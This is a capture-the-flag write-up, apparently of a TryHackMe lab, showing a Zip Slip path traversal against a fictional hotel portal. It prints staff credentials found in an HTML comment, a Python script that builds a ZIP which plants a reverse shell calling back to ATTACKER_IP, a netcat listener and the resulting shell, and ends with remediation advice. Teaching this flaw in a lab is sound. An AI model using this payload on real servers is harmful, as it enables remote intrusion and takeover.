CTF Write-up Zip Slip Path Traversal RCE

The Hollow Shell — TryHackMe Hacker Holidays Day 10

Abishek Kumar August 2026 8 min read Medium

The Byte Lotus Hotel lets staff personalise guest room displays by uploading a "shell" — a ZIP souvenir pack. The Shoreline Display portal processes these uploads, extracts their contents, and runs automation hooks. Here is how we bypassed ZIP validation to drop a reverse shell.


Overview

The goal is to slip past what the portal forgets to validate during ZIP extraction, allowing us to perform a Zip Slip directory traversal attack and execute code on the server via automation hooks.

🎯 Objectives

  • Perform reconnaissance to identify hardcoded credentials
  • Analyze the portal's ZIP file extraction behavior
  • Craft a Zip Slip exploit containing a Python payload
  • Execute the payload to obtain a Remote Shell and capture the flag

Step 1 — Read the Source, Find the Credentials

First, navigate to http://<TARGET_IP>:5000 and inspect the HTML page source before interacting with the login form. Developers often leave comments during staging or debugging:

🔍 Developer Comment Discovered

Inspecting the login page source reveals a comment containing hardcoded staff credentials.

Username: concierge
Password: StayNoticed2024!

Log in with these credentials to access the Shoreline Display portal dashboard.


Step 2 — Understand the Upload Mechanism

The portal presents an upload form designed for ZIP archives with the following description:

"Each shell must contain a shell.json manifest listing its assets (images, stylesheets). A shell may include optional automation hooks — the theme worker applies these for you shortly after the shell comes ashore."

Behind the scenes, the server does the following upon receiving an upload:

  1. Accepts and saves the ZIP archive
  2. Extracts it (without sanitising internal file paths ⚠️)
  3. Reads shell.json to register assets
  4. Automatically loads and executes any Python script referenced as hooks

A minimal valid manifest format (shell.json) looks like this:

{
  "name": "beach",
  "assets": ["beach.png"],
  "hooks": []
}

⚠️ The Vulnerability

The server extracts ZIP contents trusting the archive's internal paths. By using directory traversal payloads (like ../../) in our archive's paths, we can write files outside the target upload directory.


Step 3 — Zip Slip to RCE

By crafting a ZIP file containing a script at ../../hooks/callback.py, we can drop our code directly into the hooks/ directory, which the server automatically executes shortly after processing.

Let's use a Python helper script to build the malicious archive:

#!/usr/bin/env python3
import zipfile, json

ATTACKER_IP = "ATTACKER_IP"
PORT = 4444

manifest = {"name": "reverse", "assets": []}

callback = f'''
import socket, os, pty
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("{ATTACKER_IP}", {PORT}))
for fd in (0, 1, 2):
    os.dup2(sock.fileno(), fd)
pty.spawn("/bin/bash")
'''

with zipfile.ZipFile("reverse-shell.zip", "w") as z:
    z.writestr("shell.json", json.dumps(manifest))
    z.writestr("../../hooks/callback.py", callback)

print("[+] reverse-shell.zip created")

Compile the payload zip archive:

python3 build_payload.py

Step 4 — Catch the Shell

Start a netcat listener on your attacking machine:

nc -lvnp 4444

Upload the reverse-shell.zip payload using the upload form. Once processed, the server extracts our reverse shell script into the hooks/ directory, and the theme worker executes it. You should get an incoming connection in your terminal:

$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [ATTACKER_IP] from (UNKNOWN) [TARGET_IP] 38472
concierge@byte-lotus:/app$ 

Step 5 — Find the Flag

Enumerate the host filesystem to locate the flag file:

cd /
cat flag.txt

🎉 FLAG CAPTURED!

THM{z1p_sl1p_t0_sh3ll_g00d_t1m3s}


Full Attack Chain

[Login Page — HTML source]
        │
        │  Hardcoded credentials in HTML comment
        ▼
[Shoreline Display Portal — /upload]
        │
        │  ZIP accepted without path sanitisation
        ▼
[Zip Slip — ../../hooks/callback.py]
        │
        │  Theme worker auto-loads Python files from hooks/
        ▼
[Remote Code Execution — reverse shell]
        │
        │  Enumerate filesystem
        ▼
[Flag: THM{z1p_sl1p_t0_sh3ll_g00d_t1m3s}]

Key Takeaways / Remediation

Zip Slip is a directory traversal vulnerability that happens during extraction. When a server processes files inside an archive without verifying they resolve inside the designated destination folder, paths containing ../ can write to sensitive or executable directories.

Vulnerability Remediation / Fix
Zip Slip Traversal Canonicalise extraction paths. Ensure target filenames begin with the destination directory path. Reject relative directory markers.
Hardcoded Credentials Use secure environment variables or vaults. Never write testing or debug credentials in HTML comments.
Unrestricted Hook Loading Do not execute automated scripts from client uploads. Restrict execution to pre-configured scripts or sandbox environments.

💭 Final Thoughts

Zip Slip vulnerabilities highlight the risk of relying on standard archive extraction libraries without explicitly sanitising and bounds-checking the output paths of extracted files. Always validate filenames inside archives.

AK
Abishek Kumar

Abishek Kumar

Cybersecurity Researcher | Web Developer